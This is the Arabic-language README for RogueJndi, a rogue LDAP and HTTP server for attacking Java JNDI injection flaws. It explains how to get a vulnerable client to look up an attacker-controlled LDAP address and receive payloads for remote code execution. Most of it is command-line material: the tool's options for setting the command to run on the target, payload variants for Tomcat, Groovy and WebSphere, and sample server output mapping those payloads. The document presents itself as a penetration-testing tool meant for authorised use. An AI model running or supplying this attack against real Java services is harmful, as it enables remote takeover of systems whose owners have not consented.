
خادم LDAP خبيث لشن هجمات حقن JNDI
خادم LDAP خبيث لشن هجمات حقن JNDI.
يحتوي المشروع على خوادم LDAP وHTTP لاستغلال واجهة برمجة تطبيقات JNDI في Java غير الآمنة افتراضيًا.
لتنفيذ هجوم، يمكنك تشغيل هذه الخوادم محليًا ثم تحفيز تحليل JNDI على العميل المُصاب، على سبيل المثال:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
سيؤدي ذلك إلى بدء اتصال من العميل المُصاب بخادم LDAP المحلي. بعد ذلك، يستجيب الخادم المحلي بإدخال خبيث يحتوي على أحد الحمولات، والتي قد تكون مفيدة لتحقيق تنفيذ أكواد عن بُعد (RCE).
بالإضافة إلى طرق هجمات JNDI المعروفة (عبر تحميل الفئات عن بُعد في المراجع)، تقدم هذه الأداة نواقل هجوم جديدة من خلال الاستفادة من قوة ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
أهم المعاملات هي اسم مضيف خادم LDAP (-n، ويجب أن يكون قابلاً للوصول من الهدف) والأمر الذي تريد تنفيذه على الخادم الهدف (-c).
كبديل لخيار "-c"، يمكنك تعديل ملف ExportObject.java بوضع كود Java الذي تريد تنفيذه على الخادم الهدف.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
يتطلب Java v1.7+ وMaven v3+
mvn package
يُقدَّم هذا البرنامج لأغراض تعليمية فقط و/أو لاختبار الأنظمة التي حصل المستخدم على إذن مسبق لاستهدافها.